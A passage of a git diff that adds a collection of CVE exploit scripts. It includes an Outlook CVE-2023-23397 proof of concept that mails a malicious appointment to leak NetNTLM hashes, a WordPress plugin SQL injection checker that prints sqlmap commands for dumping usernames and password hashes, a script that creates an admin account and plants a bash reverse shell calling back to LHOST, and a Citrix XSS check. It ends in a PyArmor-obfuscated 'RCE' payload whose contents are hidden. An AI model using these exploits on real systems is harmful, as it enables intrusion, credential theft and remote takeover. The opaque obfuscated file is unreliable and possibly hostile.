+ print("The full output has been saved to 'full-output.txt'.") + +else: + print("The IP address {} is not vulnerable to CVE-2023-23333.".format(ip_address)) + + + diff --git a/CVE-2023-23397.py b/CVE-2023-23397.py new file mode 100644 index 0000000..f2df304 --- /dev/null +++ b/CVE-2023-23397.py @@ -0,0 +1,70 @@ +import smtplib, datetime, argparse +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from email.mime.application import MIMEApplication +from email.utils import COMMASPACE, formatdate +from independentsoft.msg import Message + +# Mail configuration : change it ! +smtp_server = "mail.example.com" +smtp_port = 587 + +sender_email = "attacker@mail.example.com" +sender_password = "P@ssw0rd" + +recipients_email = ["victim@mail.example.com"] + +class Email: + def __init__(self, smtp_server, port, username, password, recipient): + self.smtp_server = smtp_server + self.port = port + self.username = username + self.password = password + self.recipient = recipient + + def send(self, subject, body, attachment_path): + msg = MIMEMultipart() + msg['From'] = self.username + msg['To'] = COMMASPACE.join(self.recipient) + msg['Date'] = formatdate(localtime=True) + msg['Subject'] = subject + + msg.attach(MIMEText(body)) + + with open(attachment_path, 'rb') as f: + part = MIMEApplication(f.read(), Name=attachment_path) + part['Content-Disposition'] = f'attachment; filename="{attachment_path}"' + msg.attach(part) + + try: + server = smtplib.SMTP(self.smtp_server, self.port) + server.starttls() + server.login(self.username, self.password) + server.sendmail(self.username, self.recipient, msg.as_string()) + server.quit() + print("[+] Malicious appointment sent !") + + + except Exception as e: + print("[-] Error with SMTP server...", e) + +parser = argparse.ArgumentParser(description='CVE-2023-23397 POC : send a malicious appointment to trigger NetNTLM authentication.') +parser.add_argument('-p', '--path', type=str, help='Local path to process', required=True) +args = parser.parse_args() + +appointment = Message() +appointment.message_class = "IPM.Appointment" +appointment.subject = "CVE-2023-23397" +appointment.body = "New meeting now !" +appointment.location = "Paris" +appointment.appointment_start_time = datetime.datetime.now() +appointment.appointment_end_time = datetime.datetime.now() +appointment.reminder_override_default = True +appointment.reminder_sound_file = args.path +appointment.save("appointment.msg") + +email = Email(smtp_server, smtp_port, sender_email, sender_password, recipients_email) + +subject = "Hello There !" +body = "Important appointment !" +email.send(subject, body, "appointment.msg") \ No newline at end of file diff --git a/CVE-2023-23488.py b/CVE-2023-23488.py new file mode 100644 index 0000000..cc17f5a --- /dev/null +++ b/CVE-2023-23488.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# https://github.com/r3nt0n +# +# Exploit Title: Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection +# +# Exploit Author: r3nt0n +# CVE: CVE-2023-23488 +# Date: 2023/01/24 +# Vulnerability discovered by Joshua Martinelle +# Vendor Homepage: https://www.paidmembershipspro.com +# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip +# Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9 +# Version: < 2.9.8 +# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7 +# +# Running this script against a WordPress instance with Paid Membership Pro plugin +# tells you if the target is vulnerable. +# As the SQL injection technique required to exploit it is Time-based blind, instead of +# trying to directly exploit the vuln, it will generate the appropriate sqlmap command +# to dump the whole database (probably very time-consuming) or specific chose data like +# usernames and passwords. +# +# Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress + +import sys +import requests + +def get_request(target_url, delay="1"): + payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -" + data = {'rest_route': '/pmpro/v1/order', + 'code': payload} + return requests.get(target_url, params=data).elapsed.total_seconds() + +print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n') +if len(sys.argv) != 2: + print('Usage: {} '.format("python3 CVE-2023-23488.py")) + print('Example: {} http://127.0.0.1/wordpress'.format("python3 CVE-2023-23488.py")) + sys.exit(1) + +target_url = sys.argv[1] +try: + print('[-] Testing if the target is vulnerable...') + req = requests.get(target_url, timeout=15) +except: + print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m')) + sys.exit(2) + +if get_request(target_url, "1") >= get_request(target_url, "2"): + print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m')) + sys.exit(3) +print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m')) +print('\n[+] You can dump the whole WordPress database with:') +print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url)) +print('\n[+] To dump data from specific tables:') +print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url)) +print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):') +print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url)) +sys.exit(0) \ No newline at end of file diff --git a/CVE-2023-24078.py b/CVE-2023-24078.py new file mode 100644 index 0000000..7c9b8bd --- /dev/null +++ b/CVE-2023-24078.py @@ -0,0 +1,134 @@ +#!/usr/bin/python3 + +import os +import argparse +import sys +import time +from colorama import Fore +from selenium import webdriver +from selenium.webdriver.chrome.service import Service +from selenium.webdriver.common.by import By +import importlib.util + + +#install libaries if not installed +print("Installing necessary tools if not already installed") +package_name = 'colorama' +spec = importlib.util.find_spec(package_name) +if spec is None: + print(package_name +" is not installed, installing now") + subprocess.check_call([sys.executable, '-m', 'pip3', 'install', package_name]) +else: + print("Colorama installed, not installing") +package_name = 'selenium' +spec = importlib.util.find_spec(package_name) +if spec is None: + print(package_name +" is not installed, installing now") + subprocess.check_call([sys.executable, '-m', 'pip3', 'install', package_name]) +else: + print("Selenium installed, not installing") + +RED = Fore.RED +YELLOW = Fore.YELLOW +GREEN = Fore.GREEN +MAGENTA = Fore.MAGENTA +BLUE = Fore.BLUE +CYAN = Fore.CYAN +RESET = Fore.RESET + +print(f"{RED} _____ _____ _____ ______ _ _ _____ _ _ _ _ _ _______ ") +print(f"{YELLOW}| _ | __ \/ __ \ | ___| | | | __ \ | | | | | | | | | ___ \\") +print(f"{GREEN}| | | | | \/| / \/ | |_ | | | | | \/ | | | |_| | | | | |_/ /") +print(f"{BLUE}| | | | | __ | | | _| | | | | | __| | | | _ | | | | ___ \\") +print(f"{MAGENTA}\ \_/ / |_\ \| \__/\ | | | |_| | |_\ \ |_| | | | | |_| | |_/ /") +print(f"{CYAN} \___/ \____/ \____/ \_| \___/ \____/\___/\_| |_/\___/\____/ ") + +parser = argparse.ArgumentParser(description="Eternal Blue", +formatter_class=argparse.ArgumentDefaultsHelpFormatter) + +parser = argparse.ArgumentParser(description="Eternal Blue", formatter_class=argparse.ArgumentDefaultsHelpFormatter) +parser.add_argument("-p", "--LPORT", action="store", help="LPORT") +parser.add_argument("-l", "--LHOST", action="store", help="LHOST") +parser.add_argument("-r", "--RHOST", action="store", help="RHOST IP") +parser.add_argument("-P", "--RPORT", action="store", help="URL Port (ex 8082)") + +args = parser.parse_args() +parser.parse_args(args=None if sys.argv[1:] else ['--help']) + +LPORT = args.LPORT +LHOST = args.LHOST +URL = args.RHOST +RPORT=args.RPORT + +#if user already exists comment out the below lines in box + +####################################################################### + +print(f"{YELLOW}Trying to set the following parameters{RESET}") +print(f"{YELLOW}Email {BLUE}adm1n@localhost.local {YELLOW}, username {BLUE}adm1n{YELLOW} password{BLUE} P@ssw0rd! {RESET}") + +driver = webdriver.Firefox() +ext = "/Config-Wizard/wizard/SetAdmin.lsp" +URL1 = f"http://{URL}:{RPORT}{ext}" +print(f"{MAGENTA}Creating admin user on {URL1}{RESET} \n") +driver.get(URL1) +element = driver.find_element(By.NAME, 'email') +element.send_keys("adm1n@localhost.local") +element = driver.find_element(By.NAME, 'user') +element.send_keys("adm1n") +element = driver.find_element(By.NAME, 'password') +element.send_keys("P@ssw0rd!") +element = driver.find_element(By.ID, 'password2') +element.send_keys("P@ssw0rd!") +element.submit() +print(f"{RED}Logging in to WebFileServer to retrieve cadaver information{RESET} \n") +ext = "/rtl/protected/wfslinks.lsp" +URL1 = f"http://{URL}:{RPORT}{ext}" +print(f"{MAGENTA}Logging in at {URL1}{RESET}") +driver.get(URL1) +element = driver.find_element(By.ID, 'name') +element.send_keys("adm1n") +element = driver.find_element(By.ID, 'ba_password2') +element.send_keys("P@ssw0rd!") +clickable = driver.find_element(By.ID, "ba_loginbut") +clickable.click() +#MAY NEED TO CHANGE EXTENSION IF NOT /fs/ +ext = "/fs/" +URL1 = f"http://{URL}:{RPORT}{ext}" +driver.get(URL1) +time.sleep(2) +clickable = driver.find_element(By.ID, "WebDAVB") +clickable.click() + +####################################################################### + +print(f"{YELLOW}Making lua.lsp script with bash reverse shell going to {RED}{LHOST}{YELLOW} on port {RED}{LPORT}{RESET}\n") + +with open ("lua.lsp", "w") as f: + f.write(f"
\n \ +
\n \ +

Lua Server Pages Reverse Shell

\n \ +

haha

\n \ +
\n \ +\ +\n \ + & /dev/tcp/{LHOST}/{LPORT} 0>&1'\")?>\n \ +\n \ + you sent a request\n \ +\n \ +\ +
") + print(f) + +print(f"{BLUE}Copy the URL you see in the popup, this will be known below as {RESET}") +print(f"{RED}Run the following commands{RESET}\n") +print(f"{MAGENTA}cadaver \n \ +open \n \ +cd .. \n \ +adm1n \n \ +P@ssw0rd! \n \ +put lua.lsp \n {RESET}") + +input(f"{YELLOW}Open new tab and start listener with {RED}nc -lvnp {LPORT}{YELLOW} press enter to continue{RESET}") +#os system running for DZE64 +os.system(f"curl https://{URL}:9999/lua.lsp -k -u 'adm1n:P@ssw0rd!'") \ No newline at end of file diff --git a/CVE-2023-24488.py b/CVE-2023-24488.py new file mode 100644 index 0000000..e7b438f --- /dev/null +++ b/CVE-2023-24488.py @@ -0,0 +1,18 @@ +import requests + +target_url = input("Enter target URL: ") + +def check_cve_2023_24488(url): + path = "/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a" + response = requests.get(url + path) + + if ("" in response.text and + "content-type: text/html" in response.headers.get("Content-Type", "").lower() and + response.status_code == 302): + return True + return False + +if check_cve_2023_24488(target_url): + print("Vulnerable to CVE-2023-24488: Citrix Gateway and Citrix ADC - Cross-Site Scripting") +else: + print("Not vulnerable to CVE-2023-24488") \ No newline at end of file diff --git a/CVE-2023-24489-RCE.py b/CVE-2023-24489-RCE.py new file mode 100644 index 0000000..ef5f9b0 --- /dev/null +++ b/CVE-2023-24489-RCE.py @@ -0,0 +1,3 @@ +from pytransform import pyarmor_runtime +pyarmor_runtime() +__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x02\x07\x00\x03\xf3\x0d\x0a\x09\x30\xe0\x02\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\xee\x12\x00\x00\x00\x00\x00\x18\xf5\x28\x31\x61\x6a\x51\xa9\x28\xe4\x53\x14\xf4\xd8\x5d\x67\x96\x00\x00\x00\x00\x00\x00\x00\x00\x90\x3b\x14\xf7\x9d\x89\xa8\x69\xfa\x32\xe4\x5a\x1c\x84\xd1\xbb\x48\xa7\xef\x19\x9e\x0f\xae\xe4\x8b\xf9\xfe\x4c\xb1\x39\x7b\x21\xa4\xad\x80\x84\x26\x87\xd5\xe0\x77\x7b\xb2\xf1\x12\x8b\xd0\x0d\x62\xe8\x32\x9b\x3a\xf4\x21\x43\x41\xa8\xb5\xd6\xce\x2f\x41\x1f\x85\x10\x0a\xd1\x1b\x57\xb0\x47\x2a\x2a\xa8\x55\x33\xb1\xde\xa9\x43\xbd\x07\x7f\xf9\x34\xd2\xbc\xc7\xcf\x72\x6c\x21\x79\xf0\x74\x87\x6a\x4f\x76\x6b\x47\x20\x8f\x97\x64\x51\xf0\xf4\x95\xa8\xe5\xbf\xe0\xe2\x35\xdd\x54\xda\x7c\xde\xfc\xe0\x1b\xfd\x03\xdc\x11\x5d\xbe\xd7\x48\x46\x9b\x9f\xf6\xc3\xfc\x15\xd9\x80\xb1\xa5\x8e\x18\x70\xf6\xf2\x81\xb8\x5f\x7a\x7d\xd3\xd9\xb6\x1c\xa3\x4c\xa2\x80\xac\xc2\xde\x1a\x8f\x05\xb3\x83\x5e\x8e\xe5\x40\x98\xf6\x2d\x5f\x33\x63\x2e\xc6\x2f\x31\x77\x65\x6d\x35\x25\x52\xb4\xf7\x7b\xf4\x8d\x1b\x75\x20\x4b\x20\x1b\x63\x2d\x72\xbe\x09\x65\x03\x51\x06\x8b\x2d\xa1\x1d\xb4\x3e\x96\xd5\x6e\xc5\xff\xb6\x12\xe4\x95\x10\xd8\xaf\x46\x09\x35\xdd\xfb\x90\x4a\xe9\x87\x2d\x0f\x41\xe8\x6b\xc0\x2f\xdd\x0a\x1d\xc0\x5b\x52\xff\xd9\xbc\x37\xa9\xa0\x25\xe0\xbc\x28\x46\x89\x3b\x57\xb6\x2d\xf3\xed\x25\x18\x31\xf9\x03\x4c\xd5\x61\xba\xb8\x9c\x4d\xce\x0e\x92\xad\x5c\x76\xc2\x3e\x18\xef\x67\x91\x03\x93\x1e\x3b\x03\x00\x97\xcd\x51\x87\x3b\xf5\xe0\xf6\x2f\xc7\xd6\x62\xa8\xd7\x35\xeb\xa6\x17\x28\xbf\x69\xd1\x5a\xa9\x99\xae\xb1\x09\x63\x4f\x98\xf8\x1f\xee\xfd\x74\x05\xfd\x91\xa0\xc6\xbe\x37\x11\x13\x91\x8f\x26\x2f\xe1\x15\x2e\xe3\x08\xa8\xdf\xc6\x15\x59\xc9\x58\x62\x07\xec\xf6\x48\x23\x31\x53\x4f\x6c\x55\x01\x5e\xb2\xe8\x68\xa8\x28\x30\xfd\x39\x13\xad\xe1\xff\x59\xae\x2d\x74\xb3\x86\x70\x29\x22\x16\xf4\x13\x52\x17\xed\x48\x2a\xb0\x7f\xec\x04\xeb\x24\xb1\x74\xb6\x67\xe4\x0e\xab\x84\x36\xaf\x4c\x64\x99\xa4\x16\xea\xfd\x06\x19\x06\x42\xdd\xd0\x4f\x4d\x49\xdc\xfe\xaf\xd6\x0a\x31\xd0\xc1\x77\x6e\x2a\x45\xc1\x39\xe9\x3b\x96\x7d\x33\x8e\x6c\xa0\x28\x14\xb3\x8c\x71\x07\xb6\xd3\x49\xea\x85\x1f\x37\xf7\x8b\xde\xef\x65\xa8\x58\x51\x9c\xd2\x45\x00\x2d\x03\xff\x47\x70\x65\x91\x8c\x7e\xb9\xad\x72\xd1\xe6\x2a\xfe\xf8\x06\x5e\xf4\x6d\x7c\x3f\xc6\xfa\xad\x8a\x49\x3e\xc1\xae\xc6\x8e\x07\x73\x7b\x46\xa8\x6b\xc4\xf4\x7e\x96\xff\x48\x85\xc8\x3f\x07\x8d\x58\x9a\xa4\x93\xa4\x80\xd0\xd3\xaa\x6d\x4a\xb1\xf2\x46\x04\x79\x07\x94\x7e\x30\xa7\x65\x8a\x27\x71\x3e\x04\xf9\xb0\x58\x26\x42\x9b\x50\x55\xda\xe5\x2f\xc7\xd3\x67\x14\xbd\x47\xe0\x99\x6d\x02\x5a\x7e\x75\x21\x8e\x2a\xe9\x65\x5d\x47\xf2\x7f\xf4\xe8\x61\x8d\x89\x0c\x72\x7c\x2b\xc6\xde\x73\x53\x8c\x31\x1a\x8a\x1f\x6f\xcf\xfb\x33\x17\xda\x53\xef\xc0\x07\x63\x45\x53\x30\xde\xc3\x75\x34\x9c\x27\x2a\x1c\x17\x2b\xf9\x8a\x7f\x0d\x1d\x3c\xe2\xb3\xd5\xad\xa6\x2b\x2f\x5a\xa9\x82\x14\x5e\x24\x36\x4e\x10\xee\x0d\x1d\x65\x4d\xcf\xff\x6f\x62\x13\x12\x8a\x63\x14\x6f\x8f\xc2\x7c\x5c\xac\xc9\xb1\x1b\x90\x0e\x01\x63\xa0\x25\x66\x34\x11\xe4\x1e\x30\x93\x8a\x0d\x33\x06\x77\x04\xca\x86\x40\xfd\x87\x1a\x25\x8a\xfc\xd5\x55\x59\x1b\x70\xcb\xff\xe4\xd0\x84\xdd\xf3\x34\x7f\xff\x17\x33\x5a\x75\x2e\xfd\x2b\x22\x19\xce\x8c\x6c\xf3\x4d\xbf\xbe\x00\x33\x12\xf5\x07\x13\x28\xe0\xec\x98\x14\x40\xe7\x55\x55\x58\x04\xdc\x3d\x2b\xfb\x2e\xdf\xb2\xdf\xb9\xc2\x60\x5d\x1d\x36\x19\x08\x52\x5c\x95\x4e\x2e\x3b\xff\x2e\xe3\xe8\x3f\xd0\x8c\x45\xda\xeb\xba\x60\x4e\xcb\xc7\x28\x50\xec\x25\x2e\x77\xc5\x1e\xb3\xbe\xfb\x90\xf7\x41\xf2\x74\x42\x07\x52\x08\x30\x42\x71\xc0\xee\x42\xb1\x2b\xf2\x98\x52\xf4\xd7\x04\xb8\xc7\xa9\x93\xf9\x44\x7e\x11\x39\xd7\x46\x53\x03\xd9\xb4\x72\x18\xde\xc9\x11\x63\x52\x1d\xfc\x49\x04\xfe\x24\xfa\x04\x67\x3c\xda\x2c\x65\x7a\x59\x78\x1f\x1e\xf7\xad\xdf\xdc\x8e\x11\x40\xe1\x50\xa1\xfd\xc6\x73\x58\x6e\xb9\x2c\xeb\x41\x3f\x68\xf6\xf9\x9d\xc4\xcd\x27\x47\x66\xa8\xed\xd3\x4b\xde\xbe\x71\x97\xf6\x3a\x93\xaa\x92\x62\xf4\x74\x72\xdb\x8a\x65\x54\xc3\x77\x1b\x90\xc4\x98\x03\x2f\xb3\xe3\xd3\x83\xa2\x80\x6e\x57\xe1\x41\x0b\xc9\xf9\x67\x8b\xb4\x2c\x7d\x8f\x3a\xe6\x41\x4b\x80\x24\x44\x70\xa5\xe7\xee\x9a\xfa\x17\x28\x90\xd6\x2e\x67\xd8\xfe\xfe\x8b\xeb\x10\xa2\x36\x7c\x0b\x42\x03\xc3\x75\x9e\x2a\x93\xab\xd9\xf5\x81\xda\xfa\x97\x57\x70\x51\x10\xc1\x36\xd3\x60\x72\xcb\xf9\x36\xf8\x87\xdf\xdf\xd6\xcd\x29\xd2\xc8\x67\xbd\x44\xa3\x10\x45\xb6\xe5\x95\xb3\x51\x6a\xd5\x98\x45\x20\xb9\x17\x4b\x2b\x8c\xfd\x29\x6b\x5d\x88\xe0\xc7\x23\xa3\x0b\x94\xca\x06\x58\xba\xe3\x43\xb4\x24\x6c\x1a\x98\xe3\x71\x5d\xe5\x0e\x9a\x2b\xb3\x23\x4e\x9e\x23\x22\x59\x2a\x7e\x89\xd6\xcf\x0a\x75\x5c\x18\x83\xc2\xde\x3c\x99\xbf\x3e\xc7\x3b\x22\x8e\xc8\x47\x23\x82\x99\xe8\x33\x9d\xdf\x73\xd1\xf4\x18\xf9\xc5\x28\xa1\xc4\xbb\xd9\x09\xd6\xfb\xf6\x5d\x2e\x1b\x17\xa0\x22\x91\xcd\xee\x1d\x53\xa3\xef\xb0\x34\x1c\x92\x3e\x20\xdb\xa9\x9e\xf3\xa9\x22\x9e\xe0\x68\x7a\x5b\x54\x92\x61\x8d\xd0\x58\x91\x20\x58\x5c\x89\x08\xa1\x61\xc1\xbe\xb9\x83\x4e\x3a\x4c\x19\xb4\xad\x32\x97\x41\x32\xa0\x3d\xf1\x67\xf9\x6a\x95\x0f\x9a\x5a\x0e\x1c\xfe\x67\x94\x7d\x41\x53\x2c\xea\xd3\xb4\x5c\x36\xf1\x76\x00\x8c\x84\x22\xae\x7c\x13\x58\x8f\x15\xcd\x37\x0b\x61\xb4\x9e\x72\x87\xe3\x7b\x71\xd4\xcc\xb1\x9c\x12\xdb\x56\xe0\xb4\xa1\xdd\x2c\x92\xde\xcf\x28\xa1\x29\xc8\x2b\x04\xc7\xd9\x85\xc0\x7c\x91\xc4\xeb\x0a\x94\xd7\x1b\x5c\xdd\x96\xb7\xee\x54\xcc\x91\x2d\x2d\x8c\x9c\x5e\x11\x79\xbb\x04\x97\x28\x01\x9a\x6b\xb4\xf5\xf9\xa0\xa4\x74\x4c\xdc\x97\xc1\xcb\xf7\x6d\xf2\x28\xe7\x46\x67\x04\x62\x5d\x1f\x7c\xb7\x11\x31\xce\x49\x38\xd2\x9a\xaa\x64\x0a\xa1\x6f\xe8\xa4\x7d\x4c\xb8\xd2\xfa\xa1\x34\xed\xcf\x72\xd6\x41\xd0\x76\x9b\xe9\x1e\xb1\x5d\xd5\x3a\x26\xfe\x29\xb3\x86\xd8\x3e\xbf\x9f\xa7\x11\x63\xaa\x26\x18\xd4\xbf\x93\xbc\x64\x9a\x97\x96\x34\xe4\x6f\xc5\xff\xba\x4a\xaa\xef\x5e\x8d\x7f\x58\xb3\x9f\x77\xf2\xa6\xc2\x0f\x20\x24\x12\xa5\xa4\x61\xd2\xd1\x3e\x47\x9b\x9c\xac\x40\xe5\xa7\x18\xd5\x83\x19\x7a\x56\x6c\x4c\xff\x2f\x30\x08\x98\xd3\x74\x6d\x5f\x18\xb6\xc3\x96\x1e\x9f\x54\x5d\x76\x6e\xc6\x16\x12\x5b\xef\x84\x4a\x83\x31\xba\x19\x49\x27\xb8\xdb\x08\xa3\x8e\xc4\x88\x31\x2c\xe0\x40\x5f\x44\xab\xc1\x60\x88\xb7\x42\xd5\x62\x6e\xe6\x6e\x37\xd5\xba\xec\x32\x1c\x47\x31\x8e\x1a\x43\x2b\x67\x17\x75\xa8\x9b\x7a\xb6\x90\x67\xbc\xd2\xeb\x81\x85\xb3\x34\x26\x13\x34\xf8\x5d\xc0\xf8\x8f\xa0\xba\x7d\xc1\xbb\xfd\x14\x18\x59\x38\xed\xc6\xd9\xf0\x7a\xcc\xa8\x31\xa9\x34\x52\xe0\x35\x1f\x7e\xa4\x73\x88\xad\x8c\xd5\xb2\xaa\xfc\x8d\xa6\xb3\x36\xee\x3c\x4a\x95\xa1\x3c\x4e\x2f\xf3\x24\x55\x44\x87\xbc\x27\x43\x3f\x64\xb3\x33\x8f\xf5\x27\x58\xd6\x27\xc4\x6e\xfc\x54\x87\xcc\xb9\xee\x48\x3d\xa7\x5d\xaf\xd1\x2b\x37\xce\x47\x9d\x23\xcf\xc9\xc4\x05\xd6\xb1\xe6\x55\xff\x07\xf7\x6d\xd3\x39\x5a\xcc\xe5\x30\x10\xe0\xc4\x6d\x23\x09\xb4\x57\xe0\xc6\xd1\xd5\xe5\xa1\xed\x85\x17\xea\xc1\x3c\x0a\x59\xab\x55\xdd\xb4\x16\x81\x34\xb4\x83\xbe\xf8\x4d\x73\xe1\x43\x5b\xd7\x2a\xbc\x47\x9c\x27\xf2\x5d\xcb\x50\x10\xa9\xbb\x36\xc4\x3f\xc9\x5c\xbd\x0b\xd6\xfe\xda\x73\xf7\xaf\x97\x3a\x53\x5e\xdf\x00\x18\x62\x32\x5b\x4c\xfd\x32\x65\x77\x35\x93\x85\x1c\x9e\x70\x66\xcb\xc8\xb3\xbc\xd5\xa5\x2f\x2f\x10\x5d\x34\x55\x8a\x8b\x35\x05\x65\x1b\xed\xb8\xa1\xc4\xc7\x63\x93\x4a\x15\x7b\xc7\x2d\x71\xb2\x17\xe5\xa8\x92\x7a\x6d\x42\x74\x00\x50\xfb\xf5\x5f\x0a\x7d\xb6\x31\x6b\x71\xa9\xb1\xb6\x7a\x68\xb5\x92\x24\x10\xe3\x86\xb7\xae\x25\xe0\xe4\x1b\x95\xf9\x9c\x67\x31\xae\xd6\xe3\xaa\x2e\x43\x11\x42\xe5\xc1\x67\x47\x9f\xf5\xe9\xba\x01\xb8\x98\xc0\x72\x81\x84\xd3\x1b\xcf\x4d\x3a\x1a\x64\x7c\x07\x0a\x2a\x2f\xd7\x9d\x8b\x7b\xb3\xe9\x9a\xf5\xa4\xdd\xc9\xf3\x88\xb9\x78\x99\xb6\x96\x05\x45\xc4\x9b\x53\xd1\x04\x32\x9b\xdf\xed\x77\x3f\x04\x6a\x67\x18\xc3\x32\x8d\xe6\x6b\x48\x77\x8e\xb4\x95\x38\x91\xc5\x6c\xdd\x0a\x12\x4d\xaf\x74\x05\xdc\x60\x44\xa0\xd7\xd4\x5e\x02\x53\x1e\x03\x7a\x21\x64\x94\x07\x5f\xbc\xda\x68\x0b\x3c\x8d\xa8\xa1\x7f\x65\x7d\x41\x68\x7d\x9c\xf6\x34\x0f\xd1\x73\xe6\x7c\x9b\x53\x1a\x35\x37\xa8\x36\x4e\xcc\x09\x05\x2d\xcb\xd8\x4f\xe0\xd8\xa9\x6b\x8e\x6f\x6f\x50\xbf\x28\x68\xf7\x52\x45\xf8\x32\xf4\x92\x3d\xad\x6f\x51\x5b\xcf\x54\x86\x92\x8b\xf3\xe0\xb4\xa4\xbe\x7c\xde\xcd\xe9\x49\x88\xa2\xc4\xd0\xe0\x97\x8f\x9a\x98\x43\xd0\xb8\xc8\xdb\xcf\x14\x96\x16\x97\x2e\xb7\x76\xa3\xc3\x21\x5d\x28\xc6\x82\xde\x32\x71\x3a\x1a\xfe\xcb\x50\x5a\xe0\xc1\x7d\xc3\x2c\xf3\xee\xcd\x1a\x75\xdb\xdd\x4d\x63\x31\x10\xd7\xae\x48\x6c\x48\x3b\x6a\x5b\x9e\x97\x45\x5d\xe7\x67\x0e\x6a\xf8\x75\x9a\x0f\xd8\x79\x9f\x56\x77\x31\x66\x1c\x15\x74\x8b\x61\xa3\xc0\xce\x99\x80\xac\x53\x15\x9b\x12\xf4\x2f\x32\x7f\x88\x04\xfe\xdb\xfc\xfe\xf8\x2e\x52\x58\xb3\x1a\x8e\x06\x2c\x9f\x9f\x21\x71\x56\x53\x35\x6d\x57\xa4\x7e\x5d\xf1\x44\xa4\x91\xf9\x2e\x08\xbb\x76\xed\x40\xe3\x07\x95\x78\x43\xfa\xed\x16\x7b\x6f\x2a\x0b\xb4\xd1\x72\xaf\xf0\x1b\x85\xa6\x26\xf6\x05\xc5\x77\xc3\x09\x7c\x2c\x34\xbb\x5a\x96\xe5\x32\x09\x15\x54\xb4\xee\x93\xd6\xc1\x16\xe4\x7e\x1c\xb8\x65\xaa\x8f\xbe\x15\x67\xc7\x84\x9e\xf9\x20\xef\xb7\x7e\x18\x01\x6a\x47\x17\x98\x07\xdb\x5f\x48\x2c\x53\xb9\x66\xb2\x82\x28\x19\x39\x94\xc5\x2e\x1c\x10\xf8\xb1\x9e\xb4\xa1\x1c\xe0\x3b\x19\xa5\x83\xe6\x89\xc9\x84\x2b\x00\x0d\xf8\xcb\x14\x60\xd6\x48\x53\xab\x9b\xdd\x5d\x2a\x35\x0a\xc8\xdc\xa7\x0d\xa6\x5b\x40\x43\x29\x7f\xd8\xc4\x5c\xb4\x3a\x45\xde\x91\x9a\x93\x38\x8e\x22\x85\x44\x0e\xe5\x60\x0d\x44\x4e\x89\x18\xd9\x96\x69\x02\x86\xbf\x3c\x02\x0d\xec\x0b\x76\x73\x31\x17\x46\x5d\xb9\xae\x2c\xd3\xf9\xdb\xca\x9e\x9b\x72\x8b\x16\x0d\x03\xd8\x3e\x7b\x92\xf2\x14\xde\xe4\x8c\xd0\xb6\x7f\xe4\x22\x38\x8d\xad\x45\x35\xa7\x7c\x19\x5b\x8a\xea\xde\x8d\x69\xc0\xdc\xd7\x13\xbb\x97\x40\x67\x11\xbf\x58\x8f\x82\xd7\xd8\x01\x8a\x7c\x3c\xb4\x04\x94\xe2\x74\xde\x8e\xa6\x39\x2b\x6b\x34\x53\x60\xb0\x7e\xb2\x7b\x3a\x02\x74\x10\xf4\xe4\x0d\xbc\xab\xb5\x63\xe8\x9c\x23\xfe\x37\x27\xad\xaf\x36\xfa\x56\x3a\xd9\xec\x05\x41\xd4\x6b\x05\x2d\x71\x0f\xc8\xff\x99\xe1\x8a\x3c\x7f\xae\xf3\x1d\xe1\xb2\x33\xc1\x88\x56\x71\xe8\x73\xd5\xc2\x59\xd7\x07\x36\x5f\xc2\xe6\x8e\x76\xb9\x32\xad\x6f\xa9\xb0\x3d\x03\x6f\x96\xe4\xb0\x2f\x58\xe0\x78\x81\x65\xdd\xf1\xd9\x2f\x68\xb1\x6b\x42\xdc\x3a\xae\x55\x22\x1d\xe1\x2b\x33\xc6\xb8\x3f\x7e\x06\xa4\xdf\x35\xdc\x8a\x8e\x17\x42\x4b\x4d\xff\x53\xb6\x54\xa5\x78\xc1\x37\xf9\xe6\x20\x6d\x0d\x1a\xcf\x2e\x12\x8a\x19\x52\xbf\x8b\xae\x6b\x34\x3b\xe8\x79\x8b\x9a\x81\xb8\xf7\xdf\x72\x32\x87\x2e\x52\x1a\x1d\x04\x3a\xa5\x72\xa6\x0c\xe5\xb8\xc3\x33\xc4\xc3\x0c\x3e\x40\x0f\xb2\x8c\xc1\xf1\x96\x16\x7a\xf8\x10\x92\xd9\x73\xa4\x66\x15\x56\x87\xf1\xd3\xf3\x7c\xe4\x60\x32\x44\xc5\x95\x02\x17\x58\x40\xc9\x64\xba\xdf\x12\x4f\xe4\x3e\x3a\xbe\xd9\x47\x34\x55\xc2\x75\x39\xc5\x79\x21\x89\x86\x25\x25\x03\x40\x8b\xf2\xdf\xe4\x21\x12\x6f\x39\x64\x1a\x95\xac\xb5\x3e\xaf\x45\x58\x44\x5a\xac\xac\xc8\x9b\x13\x18\xe0\xd0\x44\xde\x82\xbe\xaa\x9b\xe4\x4a\xa4\xae\xcb\xc7\x0f\xa8\x86\x11\x65\xdc\x7f\xe0\xb7\x96\x8e\x8e\xde\x42\x38\x8c\x98\x6f\xa3\xd0\x11\x50\xd5\x1a\xe9\xe1\xec\x07\x98\xce\xab\xef\x06\x9b\x2d\x48\xce\xf3\x99\x48\x94\x09\xe0\x2a\xe5\xd6\x1c\xb3\xae\x2c\x89\xee\xe4\x02\xdc\xb0\xd2\xa8\x9b\x98\xc5\x70\x1d\xff\xdc\x0